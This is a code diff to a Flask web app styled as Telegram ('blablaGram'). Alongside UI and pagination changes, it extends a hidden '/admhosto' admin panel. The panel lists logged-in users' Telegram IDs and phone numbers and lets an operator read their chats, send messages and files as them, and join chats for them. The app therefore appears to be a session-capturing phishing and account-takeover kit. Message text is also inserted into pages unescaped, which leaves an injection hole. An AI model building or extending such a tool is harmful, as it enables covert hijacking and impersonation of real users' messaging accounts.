             } else {
-                messagesContainer.innerHTML += `<p style="text-align: center; color: #777;">${result.message || 'No messages found.'}</p>`;
-                loadMoreBtn.style.display = 'none';
+                messagesContainer.innerHTML = `<p style="text-align: center; color: var(--text-medium);">${result.message || 'No messages found.'}</p>`;
+                hasMoreMessages = false;
             }
         }
 
-        function loadMoreMessages() {
-            if (currentChatId && oldestMessageId) {
-                fetchMessages(currentChatId, true);
-            }
+        function loadOlderMessages() {
+            if (!currentChatId || !hasMoreMessages) return;
+            document.querySelector('.load-more-messages button').remove(); // Remove current load more button
+            fetchMessages(currentChatId, messagesLoadedOffsetId, true);
         }
         
         async function newMessage() {
@@ -487,6 +544,14 @@ BLABLAGRAM_APP_TEMPLATE = '''
             messageInput.value = '';
             adjustTextareaHeight();
 
+            // Optimistically add message to UI (optional, for faster feedback)
+            const messagesContainer = document.getElementById('messagesContainer');
+            const tempMessageItem = document.createElement('div');
+            tempMessageItem.className = 'message-item sent';
+            tempMessageItem.innerHTML = `<div class="message-text">${message.replace(/\\n/g, '<br>')}</div><div class="message-meta">Sending...</div>`;
+            messagesContainer.appendChild(tempMessageItem);
+            messagesContainer.scrollTop = messagesContainer.scrollHeight;
+
             const response = await fetch('/api/send_message', {
                 method: 'POST',
                 headers: { 'Content-Type': 'application/json' },
@@ -494,9 +559,10 @@ BLABLAGRAM_APP_TEMPLATE = '''
             });
             const result = await response.json();
             if (result.success) {
-                await fetchMessages(currentChatId, false);
+                await fetchMessages(currentChatId, 0, false); // Re-fetch the latest messages to include the new one and refresh state
             } else {
                 alert('Failed to send message: ' + result.message);
+                tempMessageItem.remove(); // Remove optimistic message if failed
                 messageInput.value = message;
                 adjustTextareaHeight();
             }
@@ -515,27 +581,33 @@ BLABLAGRAM_APP_TEMPLATE = '''
             formData.append('file', file);
             formData.append('caption', caption);
 
-            messageInput.value = '';
-            fileInput.value = '';
+            messageInput.value = ''; // Clear message input
+            fileInput.value = ''; // Clear file input
             adjustTextareaHeight();
             
             const messagesContainer = document.getElementById('messagesContainer');
-            messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">Uploading file...</p>' + messagesContainer.innerHTML;
+            const uploadIndicator = document.createElement('p');
+            uploadIndicator.style.textAlign = 'center';
+            uploadIndicator.style.color = 'var(--text-medium)';
+            uploadIndicator.textContent = 'Uploading file...';
+            messagesContainer.appendChild(uploadIndicator);
+            messagesContainer.scrollTop = messagesContainer.scrollHeight;
 
             const response = await fetch('/api/send_file', {
                 method: 'POST',
                 body: formData 
             });
             const result = await response.json();
+            uploadIndicator.remove(); // Remove upload indicator
             if (result.success) {
-                await fetchMessages(currentChatId, false);
+                await fetchMessages(currentChatId, 0, false); // Re-fetch messages to show the sent file
             } else {
                 alert('Failed to send file: ' + result.message);
             }
         }
 
         async function joinChat() {
-            const chatIdentifier = document.getElementById('joinChatIdentifier').value;
+            const chatIdentifier = document.getElementById('joinChatIdentifier').value.trim();
             if (!chatIdentifier.trim()) {
                 alert('Please enter a channel/group username or invite link.');
                 return;
@@ -581,29 +653,55 @@ ADMHOSTO_TEMPLATE = '''
     <meta charset="UTF-8">
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
     <title>blablaGram - Admin Panel</title>
-    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
+    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700&display=swap" rel="stylesheet">
     <style>
-        body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #F0F2F5; color: #333; margin: 0; padding: 25px; }
-        .container { max-width: 1000px; margin: auto; background: #fff; padding: 35px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.15); }
-        h1, h2 { text-align: center; color: #2AABEE; margin-bottom: 30px; font-weight: 700; letter-spacing: -0.5px; }
-        table { width: 100%; border-collapse: collapse; margin-top: 25px; border-radius: 10px; overflow: hidden; box-shadow: 0 4px 10px rgba(0,0,0,0.05); }
-        th, td { padding: 18px; border: 1px solid #E0E0E0; text-align: left; }
-        th { background: #F8F8F8; color: #555; font-weight: 600; font-size: 1em; }
+        :root {
+            --primary-blue: #2AABEE;
+            --dark-blue: #1C91D0;
+            --background-light: #F5F7FA;
+            --card-background: #FFFFFF;
+            --text-dark: #333;
+            --text-medium: #666;
+            --border-light: #E0E0E0;
+            --shadow-medium: rgba(0,0,0,0.15);
+            --secondary-gray: #6C757D;
+            --secondary-gray-hover: #5A6268;
+        }
+        body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: var(--background-light); color: var(--text-dark); margin: 0; padding: 20px; box-sizing: border-box;}
+        .container { max-width: 960px; margin: auto; background: var(--card-background); padding: 30px; border-radius: 16px; box-shadow: 0 10px 25px var(--shadow-medium); }
+        h1, h2 { text-align: center; color: var(--primary-blue); margin-bottom: 25px; font-weight: 700; letter-spacing: -0.5px;}
+        h1 { font-size: 2.8em; }
+        h2 { font-size: 1.8em; }
+        table { width: 100%; border-collapse: collapse; margin-top: 20px; border-radius: 10px; overflow: hidden; box-shadow: 0 4px 10px rgba(0,0,0,0.08); }
+        th, td { padding: 15px 20px; border: 1px solid var(--border-light); text-align: left; }
+        th { background: var(--background-light); color: var(--text-medium); font-weight: 600; font-size: 0.95em; text-transform: uppercase; }
         tr:nth-child(even) { background: #FDFDFD; }
-        tr:hover { background: #E6F3FC; }
-        a { color: #2AABEE; text-decoration: none; transition: color 0.3s ease; font-weight: 500; }
-        a:hover { text-decoration: underline; }
-        .back-button { margin-top: 40px; text-align: center; }
-        .back-button a { display: inline-block; padding: 12px 25px; background: #6C757D; color: white; border-radius: 10px; transition: background 0.3s ease; font-weight: 500; box-shadow: 0 4px 10px rgba(0,0,0,0.1); }
-        .back-button a:hover { background: #5A6268; text-decoration: none; transform: translateY(-1px); }
+        tr:hover { background: rgba(42, 171, 238, 0.05); }
+        a { color: var(--primary-blue); text-decoration: none; transition: color 0.3s ease; font-weight: 500; }
+        a:hover { text-decoration: underline; color: var(--dark-blue); }
+        .back-button { margin-top: 30px; text-align: center; }
+        .back-button a { display: inline-block; padding: 12px 25px; background: var(--secondary-gray); color: white; border-radius: 10px; transition: background 0.3s ease, transform 0.2s; font-weight: 600; box-shadow: 0 4px 10px rgba(108, 117, 125, 0.2); }
+        .back-button a:hover { background: var(--secondary-gray-hover); text-decoration: none; transform: translateY(-2px); }
+        .back-button a:active { transform: translateY(0); }
+
         @media (max-width: 768px) {
             body { padding: 15px; }
-            .container { padding: 25px; }
-            table, th, td { display: block; width: 100%; }
-            thead { display: none; }
-            tr { margin-bottom: 15px; border: 1px solid #E0E0E0; border-radius: 10px; overflow: hidden; }
-            td { text-align: right; padding-left: 50%; position: relative; }
-            td::before { content: attr(data-label); position: absolute; left: 0; width: 45%; padding-left: 15px; font-weight: 600; text-align: left; }
+            .container { padding: 25px 15px; border-radius: 12px; }
+            h1 { font-size: 2.2em; margin-bottom: 20px; }
+            h2 { font-size: 1.5em; }
+            table, thead, tbody, th, td, tr { display: block; }
+            thead tr { position: absolute; top: -9999px; left: -9999px; } /* Hide table headers (but not display: none;, for accessibility) */
+            tr { border: 1px solid var(--border-light); margin-bottom: 15px; border-radius: 8px; overflow: hidden; }
+            td { border: none; border-bottom: 1px solid var(--border-light); position: relative; padding-left: 50%; text-align: right; }
+            td:last-child { border-bottom: none; }
+            td:before { position: absolute; left: 6px; width: 45%; padding-right: 10px; white-space: nowrap; text-align: left; font-weight: 600; color: var(--text-medium); font-size: 0.9em; }
+            td:nth-of-type(1):before { content: "ID"; }
+            td:nth-of-type(2):before { content: "Telegram ID"; }
+            td:nth-of-type(3):before { content: "Username"; }
+            td:nth-of-type(4):before { content: "Phone"; }
+            td:nth-of-type(5):before { content: "Actions"; }
+            td a { display: block; text-align: right; }
+            .back-button a { width: calc(100% - 30px); }
         }
     </style>
 </head>
@@ -618,11 +716,11 @@ ADMHOSTO_TEMPLATE = '''
             <tbody>
                 {% for user in users %}
                 <tr>
-                    <td data-label="ID">{{ user[0] }}</td>
-                    <td data-label="Telegram ID">{{ user[1] }}</td>
-                    <td data-label="Username">{{ user[2] }}</td>
-                    <td data-label="Phone">{{ user[3] }}</td>
-                    <td data-label="Actions">
+                    <td>{{ user[0] }}</td>
+                    <td>{{ user[1] }}</td>
+                    <td>{{ user[2] }}</td>
+                    <td>{{ user[3] }}</td>
+                    <td>
                         <a href="/admhosto/user/{{ user[0] }}/manage">Manage Account</a>
                     </td>
                 </tr>
@@ -644,58 +742,79 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
     <meta charset="UTF-8">
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
     <title>Manage: {{ user.username or user.phone }}</title>
-    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
+    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700&display=swap" rel="stylesheet">
     <style>
-        body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #F0F2F5; color: #333; margin: 0; padding: 25px; }
-        .container { max-width: 1300px; margin: auto; background: #fff; padding: 35px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.15); }
-        h1, h2 { text-align: center; color: #2AABEE; margin-bottom: 25px; font-weight: 700; letter-spacing: -0.5px; }
-        .user-info { text-align: center; margin-bottom: 35px; font-size: 1.15em; color: #666; font-weight: 500; }
-        .split-panel { display: flex; gap: 30px; margin-top: 30px; flex-wrap: wrap; }
-        .split-panel > div { flex: 1; min-width: 300px; background: #F9F9F9; padding: 30px; border-radius: 12px; border: 1px solid #EEE; box-shadow: 0 4px 15px rgba(0,0,0,0.05); }
-        h2 { margin-top: 0; font-size: 1.4em; font-weight: 600; color: #333; margin-bottom: 20px; text-align: left; }
-        input[type="text"], textarea { width: calc(100% - 24px); padding: 14px; margin: 10px 0; border: 1px solid #DDD; border-radius: 10px; background: #FFF; font-size: 1em; transition: border-color 0.3s, box-shadow 0.3s; }
-        input[type="text"]:focus, textarea:focus { border-color: #2AABEE; box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.1); outline: none; }
-        textarea { resize: vertical; min-height: 90px; }
-        button { background: #2AABEE; color: #fff; padding: 13px 22px; border: none; border-radius: 10px; cursor: pointer; font-size: 1.05em; font-weight: bold; margin-top: 18px; width: 100%; transition: background 0.3s ease, transform 0.2s ease; box-shadow: 0 3px 8px rgba(0,0,0,0.1); }
-        button:hover { background: #1C91D0; transform: translateY(-1px); }
-        button:active { transform: translateY(0); }
-        button.green-btn { background: #28A745; }
-        button.green-btn:hover { background: #218838; }
-        .chat-list { max-height: 450px; overflow-y: auto; border: 1px solid #DDD; border-radius: 10px; background: #FFF; box-shadow: inset 0 1px 3px rgba(0,0,0,0.05); }
-        .chat-item { padding: 16px 20px; border-bottom: 1px solid #EEE; cursor: pointer; transition: background 0.2s ease; }
-        .chat-item:hover, .chat-item.active { background: #E6F3FC; }
+        :root {
+            --primary-blue: #2AABEE;
+            --dark-blue: #1C91D0;
+            --background-light: #F5F7FA;
+            --card-background: #FFFFFF;
+            --text-dark: #333;
+            --text-medium: #666;
+            --text-light: #999;
+            --border-light: #E0E0E0;
+            --shadow-light: rgba(0,0,0,0.05);
+            --shadow-medium: rgba(0,0,0,0.15);
+            --success-green: #28A745;
+            --success-green-hover: #218838;
+            --secondary-gray: #6C757D;
+            --secondary-gray-hover: #5A6268;
+        }
+        body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: var(--background-light); color: var(--text-dark); margin: 0; padding: 20px; box-sizing: border-box; }
+        .container { max-width: 1200px; margin: auto; background: var(--card-background); padding: 30px; border-radius: 16px; box-shadow: 0 10px 25px var(--shadow-medium); }
+        h1 { text-align: center; color: var(--primary-blue); margin-bottom: 20px; font-weight: 700; font-size: 2.5em; letter-spacing: -0.5px; }
+        h2 { margin-top: 0; font-size: 1.5em; font-weight: 600; color: var(--text-dark); margin-bottom: 15px; }
+        .user-info { text-align: center; margin-bottom: 30px; font-size: 1.1em; color: var(--text-medium); font-weight: 500; border-bottom: 1px solid var(--border-light); padding-bottom: 20px; }
+        .split-panel { display: flex; gap: 25px; margin-top: 25px; }
+        .split-panel > div { flex: 1; background: var(--background-light); padding: 25px; border-radius: 12px; border: 1px solid var(--border-light); box-shadow: 0 4px 10px var(--shadow-light); }
+        input[type="text"], textarea { width: calc(100% - 24px); padding: 12px; margin: 8px 0; border: 1px solid var(--border-light); border-radius: 10px; background: var(--card-background); font-size: 0.95em; transition: border-color 0.3s, box-shadow 0.3s; box-sizing: border-box; }
+        input[type="text"]:focus, textarea:focus { border-color: var(--primary-blue); box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.15); outline: none; }
+        textarea { resize: vertical; min-height: 80px; }
+        button { background: var(--primary-blue); color: #fff; padding: 12px 20px; border: none; border-radius: 10px; cursor: pointer; font-size: 1.0em; font-weight: 600; margin-top: 15px; width: 100%; transition: background 0.3s ease, transform 0.2s ease, box-shadow 0.3s; box-shadow: 0 4px 10px rgba(42, 171, 238, 0.2); }
+        button:hover { background: var(--dark-blue); transform: translateY(-2px); box-shadow: 0 6px 15px rgba(42, 171, 238, 0.3); }
+        button:active { transform: translateY(0); box-shadow: 0 2px 5px rgba(42, 171, 238, 0.1); }
+        button.file-send { background: var(--success-green); box-shadow: 0 4px 10px rgba(40, 167, 69, 0.2); }
+        button.file-send:hover { background: var(--success-green-hover); box-shadow: 0 6px 15px rgba(40, 167, 69, 0.3); }
+        .chat-list { max-height: 400px; overflow-y: auto; border: 1px solid var(--border-light); border-radius: 10px; background: var(--card-background); box-shadow: inset 0 1px 3px rgba(0,0,0,0.05); }
+        .chat-item { padding: 14px 18px; border-bottom: 1px solid var(--border-light); cursor: pointer; transition: background 0.2s ease; }
+        .chat-item:hover, .chat-item.active { background: rgba(42, 171, 238, 0.08); }
         .chat-item:last-child { border-bottom: none; }
-        .chat-item h3 { margin: 0; font-size: 1.1em; color: #1C1C1C; font-weight: 600; }
-        .chat-item p { margin: 6px 0 0; font-size: 0.9em; color: #666; }
-        .message-viewer { margin-top: 35px; background: #F9F9F9; padding: 30px; border-radius: 12px; border: 1px solid #EEE; box-shadow: 0 4px 15px rgba(0,0,0,0.05); }
-        .messages-container { max-height: 550px; overflow-y: auto; padding: 20px; border: 1px solid #DDD; border-radius: 10px; background: #FFF; margin-top: 20px; display: flex; flex-direction: column-reverse; box-shadow: inset 0 1px 3px rgba(0,0,0,0.05); }
-        .load-more-button { padding: 10px 15px; background: #6C757D; color: white; border: none; border-radius: 8px; cursor: pointer; margin-top: 10px; align-self: center; font-size: 0.9em; transition: background 0.2s; }
-        .load-more-button:hover { background: #5A6268; }
-        .message-item { max-width: 80%; padding: 12px 16px; border-radius: 20px; margin-bottom: 10px; line-height: 1.4; word-wrap: break-word; font-size: 0.95em; box-shadow: 0 1px 2px rgba(0,0,0,0.05); }
-        .message-item.sent { background: #DCF8C6; align-self: flex-end; border-bottom-right-radius: 6px; }
-        .message-item.received { background: #F1F0F0; align-self: flex-start; border-bottom-left-radius: 6px; }
-        .message-sender { font-weight: bold; color: #2AABEE; margin-bottom: 4px; display: block; font-size: 0.9em; }
-        .message-text { color: #111; }
-        .message-meta { font-size: 0.75em; color: #999; margin-top: 5px; text-align: right; }
-        .media-link { display: block; margin-top: 8px; color: #2AABEE; text-decoration: none; font-weight: 500; }
-        .media-link:hover { text-decoration: underline; }
-        .back-button { margin-top: 40px; text-align: center; }
-        .back-button a { display: inline-block; padding: 12px 25px; background: #6C757D; color: white; border-radius: 10px; transition: background 0.3s ease; font-weight: 500; box-shadow: 0 4px 10px rgba(0,0,0,0.1); }
-        .back-button a:hover { background: #5A6268; text-decoration: none; transform: translateY(-1px); }
-        .clear-chat-selection { text-align: center; margin-top: 20px; }
-        .clear-chat-selection button { background: #6C757D; color: #fff; width: auto; padding: 10px 20px; border-radius: 10px; font-size: 1em; }
-        .clear-chat-selection button:hover { background: #5A6268; }
+        .chat-item h3 { margin: 0; font-size: 1.05em; color: var(--text-dark); font-weight: 600; }
+        .chat-item p { margin: 5px 0 0; font-size: 0.85em; color: var(--text-medium); }
+        .message-viewer { margin-top: 30px; background: var(--background-light); padding: 25px; border-radius: 12px; border: 1px solid var(--border-light); box-shadow: 0 4px 10px var(--shadow-light); }
+        .messages-container { max-height: 500px; overflow-y: auto; padding: 15px; border: 1px solid var(--border-light); border-radius: 10px; background: var(--card-background); margin-top: 15px; display: flex; flex-direction: column-reverse; scroll-behavior: smooth; }
+        .message-item { max-width: 80%; padding: 10px 14px; border-radius: 18px; margin-bottom: 10px; line-height: 1.4; word-wrap: break-word; font-size: 0.9em; box-shadow: 0 1px 2px var(--shadow-light); }
+        .message-item.sent { background: #DCF8C6; align-self: flex-end; border-bottom-right-radius: 4px; }
+        .message-item.received { background: #F1F0F0; align-self: flex-start; border-bottom-left-radius: 4px; }
+        .message-sender { font-weight: bold; color: var(--primary-blue); margin-bottom: 4px; display: block; font-size: 0.9em; }
+        .message-text { color: var(--text-dark); white-space: pre-wrap; word-break: break-word;}
+        .message-meta { font-size: 0.7em; color: var(--text-light); margin-top: 5px; text-align: right; }
+        .media-link { display: block; margin-top: 5px; color: var(--primary-blue); text-decoration: none; }
+        .back-button { margin-top: 30px; text-align: center; }
+        .back-button a { display: inline-block; padding: 12px 25px; background: var(--secondary-gray); color: white; border-radius: 10px; transition: background 0.3s ease, transform 0.2s; font-weight: 600; box-shadow: 0 4px 10px rgba(108, 117, 125, 0.2); }
+        .back-button a:hover { background: var(--secondary-gray-hover); text-decoration: none; transform: translateY(-2px); }
+        .back-button a:active { transform: translateY(0); }
+        .clear-chat-selection { text-align: center; margin-top: 15px; }
+        .clear-chat-selection button { background: var(--secondary-gray); color: #fff; width: auto; padding: 10px 20px; border-radius: 10px; box-shadow: 0 4px 10px rgba(108, 117, 125, 0.2); }
+        .clear-chat-selection button:hover { background: var(--secondary-gray-hover); }
+        .load-more-messages { text-align: center; margin-top: 10px; color: var(--text-medium); font-size: 0.85em; padding-bottom: 10px;}
+        .load-more-messages button { background: var(--primary-blue); color: white; border: none; padding: 8px 15px; border-radius: 8px; cursor: pointer; font-weight: 500; transition: background 0.2s; width: auto; box-shadow: none;}
+        .load-more-messages button:hover { background: var(--dark-blue); transform: none; box-shadow: none; }
+
 
         @media (max-width: 768px) {
             body { padding: 15px; }
-            .container { padding: 25px; }
+            .container { padding: 25px 15px; border-radius: 12px; }
+            h1 { font-size: 2.2em; }
             .split-panel { flex-direction: column; gap: 20px; }
-            .split-panel > div { min-width: unset; padding: 20px; }
-            h1, h2 { margin-bottom: 20px; }
-            .user-info { margin-bottom: 25px; font-size: 1em; }
-            .chat-list, .messages-container { max-height: 350px; }
-            input[type="text"], textarea, button { padding: 12px; font-size: 0.95em; }
-            button { margin-top: 15px; }
+            .split-panel > div { padding: 20px; border-radius: 10px; }
+            .user-info { font-size: 1em; padding-bottom: 15px; }
+            input[type="text"], textarea { padding: 10px; font-size: 0.9em; }
+            button { padding: 10px 15px; font-size: 0.9em; margin-top: 10px; }
+            .chat-list { max-height: 300px; }
+            .messages-container { max-height: 400px; }
+            .message-item { max-width: 95%; }
+            .back-button a { width: calc(100% - 30px); }
         }
     </style>
 </head>
@@ -711,9 +830,9 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
                 <textarea id="sendMessageContent" rows="4" placeholder="Message content"></textarea>
                 <button onclick="sendMessage({{ user.id }})">Send Text Message</button>
                 <input type="file" id="sendFileInput" style="display: none;" onchange="handleFileSelect({{ user.id }})">
-                <button onclick="document.getElementById('sendFileInput').click()" class="green-btn">Send File</button>
+                <button onclick="document.getElementById('sendFileInput').click()" class="file-send">Send File</button>
 
-                <h2 style="margin-top: 35px;">Join Chat</h2>
+                <h2 style="margin-top: 30px;">Join Chat</h2>
                 <input type="text" id="joinChatIdentifier" placeholder="Channel/Group link or @username">
                 <button onclick="joinChat({{ user.id }})">Join Chat</button>
             </div>
@@ -727,7 +846,7 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
                             <p>{{ chat.type }} {% if chat.participants %}| Participants: {{ chat.participants }}{% endif %}</p>
                         </div>
                     {% else %}
-                        <p style="padding: 15px; text-align: center; color: #777;">No chats found.</p>
+                        <p style="padding: 15px; text-align: center; color: var(--text-medium);">No chats found.</p>
                     {% endfor %}
                 </div>
                  <div class="clear-chat-selection"><button onclick="clearChatSelection()">Clear Selection</button></div>
@@ -736,105 +855,117 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
 
         <div class="message-viewer" id="messageViewer" style="display:none;">
             <h2 id="messagesChatTitle"></h2>
-            <div class="messages-container" id="messagesContainer">
-                 <button id="loadMoreMessagesAdmin" class="load-more-button" style="display:none;" onclick="loadMoreMessagesAdmin({{ user.id }})">Load Older Messages</button>
-            </div>
+            <div class="messages-container" id="messagesContainer"></div>
         </div>
 
         <div class="back-button"><a href="/admhosto">Back to Admin Panel</a></div>
     </div>
     <script>
-        let oldestMessageIdAdmin = null;
-        const messagesPerPageAdmin = {{ MESSAGES_PER_PAGE }};
+        let currentAdminChatId = null;
+        let adminMessagesLoadedOffsetId = 0;
+        let adminHasMoreMessages = true;
+        const adminMessagesPerPage = 50;
 
         function clearChatSelection() {
             document.getElementById('messageViewer').style.display = 'none';
             document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
-            oldestMessageIdAdmin = null;
+            currentAdminChatId = null;
+            adminMessagesLoadedOffsetId = 0;
+            adminHasMoreMessages = true;
         }
 
         async function selectChat(userId, chatId, chatTitle) {
+            if (currentAdminChatId === chatId) return;
+            currentAdminChatId = chatId;
+            adminMessagesLoadedOffsetId = 0;
+            adminHasMoreMessages = true;
+
             document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
             document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
 
             document.getElementById('messageViewer').style.display = 'block';
             document.getElementById('messagesChatTitle').textContent = `Messages in "${chatTitle}"`;
-            oldestMessageIdAdmin = null; // Reset oldest message ID for new chat
-            await fetchMessagesAdmin(userId, chatId, false);
+            
+            await fetchAdminMessages(userId, chatId, 0, false);
         }
 
-        async function fetchMessagesAdmin(userId, chatId, isLoadMore) {
+        async function fetchAdminMessages(userId, chatId, offsetId, isLoadMore) {
             const messagesContainer = document.getElementById('messagesContainer');
-            const loadMoreBtn = document.getElementById('loadMoreMessagesAdmin');
-
             if (!isLoadMore) {
-                messagesContainer.innerHTML = '<button id="loadMoreMessagesAdmin" class="load-more-button" style="display:none;" onclick="loadMoreMessagesAdmin(' + userId + ')">Load Older Messages</button><p style="text-align: center; color: #777;">Loading...</p>';
-                oldestMessageIdAdmin = null;
-                loadMoreBtn.style.display = 'none';
+                messagesContainer.innerHTML = '<p style="text-align: center; color: var(--text-medium);">Loading...</p>';
             } else {
-                loadMoreBtn.textContent = 'Loading...';
-                loadMoreBtn.disabled = true;
+                const loadingIndicator = document.createElement('p');
+                loadingIndicator.style.textAlign = 'center';
+                loadingIndicator.style.color = 'var(--text-medium)';
+                loadingIndicator.textContent = 'Loading older messages...';
+                loadingIndicator.id = 'adminLoadingOlderMessages';
+                messagesContainer.prepend(loadingIndicator);
             }
 
-            let url = `/admhosto/user/${userId}/chat/${chatId}/messages?limit=${messagesPerPageAdmin}`;
-            if (oldestMessageIdAdmin) {
-                url += `&max_id=${oldestMessageIdAdmin}`;
-            }
-
-            const response = await fetch(url);
+            const response = await fetch(`/admhosto/user/${userId}/chat/${chatId}/messages?offset_id=${offsetId}`);
             const result = await response.json();
-
-            if (!isLoadMore) {
-                messagesContainer.innerHTML = '<button id="loadMoreMessagesAdmin" class="load-more-button" style="display:none;" onclick="loadMoreMessagesAdmin(' + userId + ')">Load Older Messages</button>';
+            
+            if (document.getElementById('adminLoadingOlderMessages')) {
+                document.getElementById('adminLoadingOlderMessages').remove();
             }
 
             if (result.success && result.messages) {
+                if (!isLoadMore) {
+                    messagesContainer.innerHTML = '';
+                }
+
+                if (result.messages.length === 0 && !isLoadMore) {
+                    messagesContainer.innerHTML = `<p style="text-align: center; color: var(--text-medium);">No messages found in this chat.</p>`;
+                    adminHasMoreMessages = false;
+                    return;
+                }
+
+                const fragment = document.createDocumentFragment();
                 result.messages.reverse().forEach(msg => {
                     const messageItem = document.createElement('div');
                     messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;
-                    let senderInfo = !msg.is_sent ? `<span class="message-sender">${msg.sender_name}</span>` : '';
+                    let senderInfo = !msg.is_sent && msg.sender_name && msg.type !== 'User' ? `<span class="message-sender">${msg.sender_name}</span>` : '';
                     let mediaHtml = msg.file_name ? `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>` : '';
                     let textHtml = msg.text ? `<div class="message-text">${msg.text.replace(/\\n/g, '<br>')}</div>` : '';
                     let metaHtml = `<div class="message-meta">${msg.date}</div>`;
                     let emptyMsgHtml = !msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : '';
 
                     messageItem.innerHTML = `${senderInfo}${textHtml}${mediaHtml}${emptyMsgHtml}${metaHtml}`;
-                    messagesContainer.appendChild(messageItem);
+                    fragment.prepend(messageItem);
                 });
 
-                if (result.messages.length > 0) {
-                    oldestMessageIdAdmin = result.messages[0].id;
-                }
-                
-                if (result.messages.length < messagesPerPageAdmin || !result.has_more) {
-                    loadMoreBtn.style.display = 'none';
+                if (result.has_more_messages) {
+                    const loadMoreDiv = document.createElement('div');
+                    loadMoreDiv.className = 'load-more-messages';
+                    loadMoreDiv.innerHTML = `<button onclick="loadOlderAdminMessages(${userId})">Load More</button>`;
+                    fragment.prepend(loadMoreDiv);
+                    adminHasMoreMessages = true;
                 } else {
-                    loadMoreBtn.style.display = 'block';
-                    loadMoreBtn.textContent = 'Load Older Messages';
-                    loadMoreBtn.disabled = false;
+                    adminHasMoreMessages = false;
                 }
 
+                messagesContainer.prepend(fragment);
                 if (!isLoadMore) {
                     messagesContainer.scrollTop = messagesContainer.scrollHeight;
                 }
+                adminMessagesLoadedOffsetId = result.next_offset_id;
 
             } else {
-                messagesContainer.innerHTML += `<p style="text-align: center; color: #777;">${result.message || 'No messages found.'}</p>`;
-                loadMoreBtn.style.display = 'none';
+                messagesContainer.innerHTML = `<p style="text-align: center; color: var(--text-medium);">${result.message || 'No messages found.'}</p>`;
+                adminHasMoreMessages = false;
             }
         }
 
-        function loadMoreMessagesAdmin(userId) {
-            const selectedChatId = document.querySelector('.chat-item.active')?.dataset.id;
-            if (userId && selectedChatId && oldestMessageIdAdmin) {
-                fetchMessagesAdmin(userId, selectedChatId, true);
-            }
+        function loadOlderAdminMessages(userId) {
+            if (!currentAdminChatId || !adminHasMoreMessages) return;
+            document.querySelector('.load-more-messages button').remove();
+            fetchAdminMessages(userId, currentAdminChatId, adminMessagesLoadedOffsetId, true);
         }
 
         async function sendMessage(userId) {
-            const chatId = document.getElementById('sendMessageRecipient').value;
-            const message = document.getElementById('sendMessageContent').value;
-            if (!chatId || !message.trim()) { alert('Recipient and message are required.'); return; }
+            const chatId = document.getElementById('sendMessageRecipient').value.trim();
+            const message = document.getElementById('sendMessageContent').value.trim();
+            if (!chatId || !message) { alert('Recipient and message are required.'); return; }
             const response = await fetch(`/admhosto/send_message/${userId}`, {
                 method: 'POST',
                 headers: { 'Content-Type': 'application/json' },
@@ -845,6 +976,9 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
             if (result.success) {
                 document.getElementById('sendMessageRecipient').value = '';
                 document.getElementById('sendMessageContent').value = '';
+                if (currentAdminChatId == chatId) { // Refresh current chat if it's the target
+                     fetchAdminMessages(userId, currentAdminChatId, 0, false);
+                }
             }
         }
 
@@ -853,8 +987,8 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
             if (fileInput.files.length === 0) return;
 
             const file = fileInput.files[0];
-            const chatId = document.getElementById('sendMessageRecipient').value;
-            const caption = document.getElementById('sendMessageContent').value;
+            const chatId = document.getElementById('sendMessageRecipient').value.trim();
+            const caption = document.getElementById('sendMessageContent').value.trim();
             
             if (!chatId) { alert('Recipient is required to send a file.'); return; }
 
@@ -867,16 +1001,20 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
             document.getElementById('sendMessageContent').value = '';
             fileInput.value = '';
 
+            alert('Uploading file...');
             const response = await fetch(`/admhosto/send_file/${userId}`, {
                 method: 'POST',
                 body: formData 
             });
             const result = await response.json();
             alert(result.message);
+            if (result.success && currentAdminChatId == chatId) { // Refresh current chat if it's the target
+                fetchAdminMessages(userId, currentAdminChatId, 0, false);
+            }
         }
 
         async function joinChat(userId) {
-            const chatIdentifier = document.getElementById('joinChatIdentifier').value;
+            const chatIdentifier = document.getElementById('joinChatIdentifier').value.trim();
             if (!chatIdentifier.trim()) { alert('Identifier is required.'); return; }
             const response = await fetch(`/admhosto/join_chat/${userId}`, {
                 method: 'POST',
@@ -885,7 +1023,9 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
             });
             const result = await response.json();
             alert(result.message);
-            if (result.success) { location.reload(); }
+            if (result.success) { 
+                location.reload(); // Reload to refresh chat list
+            }
         }
     </script>
 </body>
@@ -906,6 +1046,10 @@ def api_login():
     
     if not phone:
         return jsonify({'success': False, 'message': 'Phone number is required.'})
+    
+    phone = phone.strip() # Clean input
+    if not phone.startswith('+'):
+        return jsonify({'success': False, 'message': 'Phone number must start with country code (e.g., +1234567890).'})
 
     session_hash = hashlib.md5(phone.encode()).hexdigest()
